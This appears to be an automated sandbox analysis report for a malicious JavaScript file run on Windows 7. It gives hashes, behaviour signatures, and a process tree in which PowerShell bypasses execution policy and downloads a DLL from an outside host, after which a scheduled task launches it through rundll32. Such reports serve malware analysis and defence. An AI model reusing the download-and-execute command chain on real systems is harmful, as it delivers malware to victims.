Resubmissions

26-06-2023 15:36

230626-s1ydxabc2s 8

26-06-2023 14:10

230626-rg4wxaaa65 8

Analysis

  • max time kernel
    90s
  • max time network
    30s
  • platform
    windows7_x64
  • resource
    win7-20230621-en
  • resource tags

    arch:x64arch:x86image:win7-20230621-enlocale:en-usos:windows7-x64system
  • submitted
    26-06-2023 14:10

General

  • Target

    June26th_Document_2023.js

  • Size

    873KB

  • MD5

    54187639d9027e6c3040367bcd69141a

  • SHA1

    85d1274413c026b102dd6e6ddddea6ab8a399c00

  • SHA256

    58d23b1de893e0fed73b8dcb80fcb2f5eb14359970ac35cc4ef0582dd1889134

  • SHA512

    ebef7df4649b83dc34e9004a764a2995d7a5ffecdaed43c0b93bbb20302083260211373561861eb44d14f28986a97315c3ab23b8332e61f410ed049bc536736e

  • SSDEEP

    24576:Vz1cgkPL8Kon29iRvE0azoX4Cpb2FiFRoxfhqAq8hPXJI9a:h1cgkPL8Kon29iRvE0azoX4HFiFRoxf3

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\June26th_Document_2023.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1280
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Invoke-WebRequest https://prodrepbox.com/images/viewforum.php?thread=2547 -OutFile C:\Users\Admin\AppData\Local\Temp\7EC5BA-BE5D-A4D029-9A4E89BCA4F0\geniuskb.dll
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1628
  • C:\Windows\system32\taskeng.exe
    taskeng.exe {F4936754-1213-4896-B8B6-5AC041D80A18} S-1-5-21-1306246566-3334493410-3785284834-1000:FQMLBKKW\Admin:Interactive:[1]
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1748
    • C:\Windows\system32\rundll32.EXE
      C:\Windows\system32\rundll32.EXE C:\Users\Admin\AppData\Local\Temp\7EC5BA-BE5D-A4D029-9A4E89BCA4F0\geniuskb.dll vcab /k vanil357
      2⤵
        PID:1800

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1628-59-0x000000001B060000-0x000000001B342000-memory.dmp

      Filesize

      2.9MB

    • memory/1628-60-0x0000000002360000-0x0000000002368000-memory.dmp

      Filesize

      32KB

    • memory/1628-61-0x0000000002784000-0x0000000002787000-memory.dmp

      Filesize

      12KB

    • memory/1628-62-0x000000000278B000-0x00000000027C2000-memory.dmp

      Filesize

      220KB